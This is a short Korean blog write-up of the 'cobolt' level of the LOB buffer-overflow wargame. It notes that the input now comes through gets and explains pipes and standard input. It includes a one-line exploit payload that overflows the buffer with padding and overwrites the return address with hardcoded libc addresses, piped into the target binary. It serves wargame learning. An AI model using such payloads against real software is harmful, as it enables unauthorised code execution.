hacking

[LOB] cobolt

hy3on9 2021. 8. 24. 23:15

goblin.c

달라진 것은 strcpy에서 gets로 바뀌었다는 것이다

간단히 말해서 기존 입력은 프로그램을 실행할 인자값으로 값을 넣어준 것이고

이번 문제에선 프로그램 실행 값을 받는 것이다

 

payload의 원리는 이전 문제와 같다

(python -c 'print "A" * (16+4) + "\xe0\x8a\x05\x40" + "a"*4 + "\xf9\xbf\x0f\x40"';cat) | ./goblin

 

다만 | (pipe)를 사용해야한다

pipe는 왼쪽 명령어의 결과(stdout)를 오른쪽 명령어에 입력(stdin)을 하는 것이다

 

관련해서 찾아보다가 child process와 parent process의 개념이 나오고

이를 구현케한 코드들을 보게 되었는데 꽤나 흥미롭다 (커널 공부 해보고 싶다)

 

고로 표준 입출력에 대해 공부해보게 된 문제가 되었다

pipe에 대해서도!

 

success